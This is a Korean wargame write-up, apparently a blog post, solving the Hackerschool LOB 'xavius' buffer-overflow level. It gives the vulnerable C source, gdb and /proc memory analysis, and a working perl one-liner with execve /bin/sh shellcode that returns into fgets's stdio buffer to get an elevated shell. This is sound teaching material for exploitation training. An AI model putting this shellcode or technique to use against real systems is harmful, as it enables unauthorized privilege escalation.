LOB_nightmare
[nightmare@localhost nightmare]$ bash2 [nightmare@localhost nightmare]$ ls xavius xavius.c [nightmare@localhost nightmare]$ cat xavius.c /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> main() { char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer); if(*(buffer+47) == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(0); } // check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function { if(*ret_addr == '\xc9'){ // leave if(*(ret_addr+1) == '\xc3'){ // ret printf("You cannot use library function!\n"); exit(0); } } ret_addr++; } // stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
bash2 띄우고, 이번 힌트는 arg 입니다. 저것만으론 감이 안오네요.
소스도 막막합니다. 그동안 사용해온 방법은 모두 막혀있네요.
라이브러리 함수의 호출을 막는 방법으로, 왜 저런 방법을 사용했을까 수상하네요
다른 영역의 함수호출은 마지막 바이트를 통해 막아놓고, 왜 라이브러리 영역은
if(*(buffer+47)==\x40) exit(0); 이렇게 같은 방법으로 처리하지 않았을까..
[nightmare@localhost tmp]$ ./xavius & [1] 8934 [1]+ Stopped ./xavius [nightmare@localhost tmp]$ cd /proc/8934/ [nightmare@localhost 8934]$ cat maps 08048000-08049000 r-xp 00000000 08:06 25 /home/nightmare/tmp/xavius 08049000-0804a000 rw-p 00000000 08:06 25 /home/nightmare/tmp/xavius 40000000-40013000 r-xp 00000000 08:08 34138 /lib/ld-2.1.3.so 40013000-40014000 rw-p 00012000 08:08 34138 /lib/ld-2.1.3.so 40014000-40016000 rw-p 00000000 00:00 0 40018000-40105000 r-xp 00000000 08:08 34145 /lib/libc-2.1.3.so 40105000-40109000 rw-p 000ec000 08:08 34145 /lib/libc-2.1.3.so 40109000-4010d000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 |
maps를 살펴보니 \x08, \x40, \xbf 가 아니면 사용할 수 없습니다.
\x40에 답이 있는것 같습니다. \x40 이지만, leave-ret이 없는 곳으로 리턴?
leave-ret이 없어야 하니 함수 형식이 아니겠네요
소스에 쉘을 띄울 수 있는 코드가 없으니 유일한 방법은 쉘코드밖에 없는 것 같습니다.
결과적으로 함수를 사용하지 않고 쉘코드를 \x40 영역에 올릴 방법을 찾아야겠네요
\x40에 있는 함수는 사용할 수 없으므로 라이브러리 영역을 제외해야겠네요
40014000-40016000 rw-p 00000000 00:00 0
40109000-4010d000 rw-p 00000000 00:00 0
일단 gdb로 이 2개 영역을 확인해보겠습니다.
1번째 영역을 찾다보니..
(gdb) 0x40014fa0: 0x00000000 0x00000000 0x00000000 0x00000000 0x40014fb0: 0x00000000 0x00000000 0x00000000 0x00000000 0x40014fc0: 0x00000000 0x00000000 0x00000000 0x00000000 0x40014fd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x40014fe0: 0x00000000 0x00000000 0x00000000 0x00000000 0x40014ff0: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015020: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015030: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0x40015040: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015050: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015060: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015070: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015080: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015090: 0x41414141 0x41414141 0x41414141 0x41414141 0x400150a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x400150b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x400150c0: 0x41414141 0x41414141 0x41414141 0x41414141 0x400150d0: 0x41414141 0x41414141 0x41414141 0x41414141 |
buffer를 채워주기 위해 입력한 값이 보입니다.
그것도 정확히 0x40015000부터..? 뭔가 있는 것 같습니다.
일단 공격부터 해보면..
저부분에 제대로 입력이 되나 확인해보고, 리턴시켜보겠습니다.
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/nightmare/tmp/./xavius ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ Program received signal SIGSEGV, Segmentation fault. 0x40077f72 in memcmp () from /lib/libc.so.6 (gdb) x/40x 0x40015000 0x40015000: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d 0x40015010: 0x54535251 0x58575655 0x42415a59 0x46454443 0x40015020: 0x4a494847 0x4e4d4c4b 0x5251504f 0x56555453 0x40015030: 0x5a595857 0x0000000a 0x00000000 0x00000000 0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015060: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015080: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015090: 0x00000000 0x00000000 0x00000000 0x00000000 |
입력한 그대로 있는게 보이네요.
[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1 \x89\xc2\xb0\x0b\xcd\x80","AAAA","\x01\x50\x01\x40"';cat) | ./xavius 1Ph//shh/binPS° ̀AAAAP@ id uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) my-pass euid = 519 throw me away |
strcpy 함수가 있으니 0x40015000 이 아니라 0x40015001을 사용했습니다.
눈치와 삽질로 문제를 풀긴 풀었네요ㅋㅋ 굳ㅋㅋㅋㅋ
이제 이유를 찾아보겠습니다.
0x4015000 이부분은 fgets함수가 입력을 받을 때, 임시로 저장하는 임시버퍼라고 합니다.
strace로 찾아보면..
[4000f891] munmap(0x40015000, 12210) = 0 [400ca7fd] personality(PER_LINUX) = 0 [400aa257] getpid() = 9015 [400bdc8c] fstat64(0, 0xbffff944) = -1 ENOSYS (Function not implemented) [400bdcd3] fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 [400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS |
mmap함수로 0x40015000에 공간을 확보하고 read로 입력받는걸 볼 수 있습니다.
'System Hacking > 해커스쿨 LOB' 카테고리의 다른 글
해커스쿨 LOB 문제풀이 최종본 pdf by ORANG (2) | 2014.10.22 |
---|---|
해커스쿨 LOB ( xavius -> death_knight ) by ORANG - 리모트어택 (0) | 2014.10.22 |
해커스쿨 LOB ( succubus -> nightmare ) by ORANG (0) | 2014.10.21 |
해커스쿨 LOB ( zombie_assassin -> succubus ) by ORANG (0) | 2014.10.21 |
해커스쿨 LOB ( assassin -> zombie_assassin ) by ORANG (0) | 2014.10.21 |